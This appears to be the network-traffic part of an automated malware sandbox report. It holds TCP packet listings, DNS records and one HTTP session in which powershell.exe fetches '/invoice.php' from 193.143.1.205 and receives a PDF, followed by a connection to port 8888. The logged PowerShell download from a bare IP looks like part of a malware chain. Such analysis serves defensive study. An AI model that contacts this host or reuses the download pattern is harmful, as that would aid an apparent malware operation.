Jan 10, 2025 23:52:34.731525898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731554985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.731586933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731599092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731609106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.731631041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.731664896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.732768059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.747172117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747198105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747210026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747221947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747230053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747253895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747267008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747296095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747307062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747325897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747340918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.747354984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747366905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747375965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.747404099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.747405052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747417927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747428894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747440100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747477055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.747526884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747538090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747548103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747559071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747570038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747570992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.747582912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747596025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747596979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.747608900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.747631073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.747653008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.748284101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.768744946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.768775940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.768789053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.768802881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.768815994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.768829107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.768843889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.768857002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.768871069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.768883944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.768887043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.768944979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.768945932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.777760029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.777786016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.777798891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.777851105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.777856112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.777863979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.777878046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.777893066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.777901888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.777925014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.778004885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.778017998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.778023958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.778031111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.778042078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.778059006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.778068066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.778079987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.778085947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.778091908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.778095961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.778110027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.778120995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.778134108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.778146029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.778197050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.778251886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.816435099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816487074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816498995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816504955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816510916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816517115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816521883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816528082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816534042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816540956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816576004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816586971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816592932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816598892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816606998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816618919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816618919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.816626072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816670895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816680908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.816685915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816700935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816710949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.816736937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.816762924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.817027092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817040920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817059040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817070007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817079067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.817082882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817096949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817110062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817121029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.817122936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817152023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.817181110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.817204952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817218065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817229033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817240000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817250967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817255020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.817264080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817277908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817298889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.817390919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817413092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817425013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817435980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.817466021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.817481041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817497969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817508936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817523956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817533016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.817584038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.817595959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817609072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817620039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817631960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817643881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817651033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.817656994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817701101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.817941904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817955017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817965031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.817995071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.818000078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818012953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818023920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818037033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818053007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.818094969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.818177938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818191051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818200111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818211079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818223000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818224907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.818234921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818247080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818253040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.818281889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.818509102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818522930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818541050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818552971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818562984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.818563938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818578005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818591118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818592072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.818622112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.818653107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818665028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818675995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818687916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818697929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818701982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.818725109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.818732977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818744898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818756104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818767071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.818769932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.818811893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.819153070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.819174051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.819211960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.819222927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.819221973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.819236994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.819264889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.826479912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.854545116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.854573965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.854585886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.854598045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.854609966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.854620934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.854631901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.854646921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.854671001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.854722977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.864671946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864698887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864712000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864722967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864737988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864749908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864762068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864769936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.864774942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864788055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864801884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864804029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.864846945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864849091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.864859104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864871025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864882946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864888906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864893913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.864939928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864945889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.864953995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864959955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864970922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864984035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.864998102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.865010023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.865015984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.865036964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.866338968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.903094053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.903111935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.903131008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.903143883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.903156042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.903167009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.903179884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.903192043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.903191090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.903206110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.903230906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.903244972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.903254986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.903266907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.903279066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.903290033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.903302908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.903325081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.903333902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.903347015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.903353930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.903377056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.903696060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:34.903745890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.904756069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:34.917438984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:35.041325092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:35.552392006 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:35.557296991 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:35.557395935 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:35.558156013 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:35.562899113 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:36.356750011 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 23:52:36.410793066 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 23:52:37.321638107 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:52:43.346244097 CET	63045	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:52:43.346244097 CET	192.168.2.4	1.1.1.1	0x1fe	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:52:43.353432894 CET	1.1.1.1	192.168.2.4	0x1fe	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:52:44.198940992 CET	1.1.1.1	192.168.2.4	0xb477	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:52:44.198940992 CET	1.1.1.1	192.168.2.4	0xb477	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:52:44.198940992 CET	1.1.1.1	192.168.2.4	0xb477	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:52:44.198940992 CET	1.1.1.1	192.168.2.4	0xb477	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:52:44.198940992 CET	1.1.1.1	192.168.2.4	0xb477	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:52:44.198940992 CET	1.1.1.1	192.168.2.4	0xb477	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:52:44.198940992 CET	1.1.1.1	192.168.2.4	0xb477	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:52:44.198940992 CET	1.1.1.1	192.168.2.4	0xb477	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:52:44.198940992 CET	1.1.1.1	192.168.2.4	0xb477	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	6180	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:52:33.360745907 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:52:34.141875982 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:52:34 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << 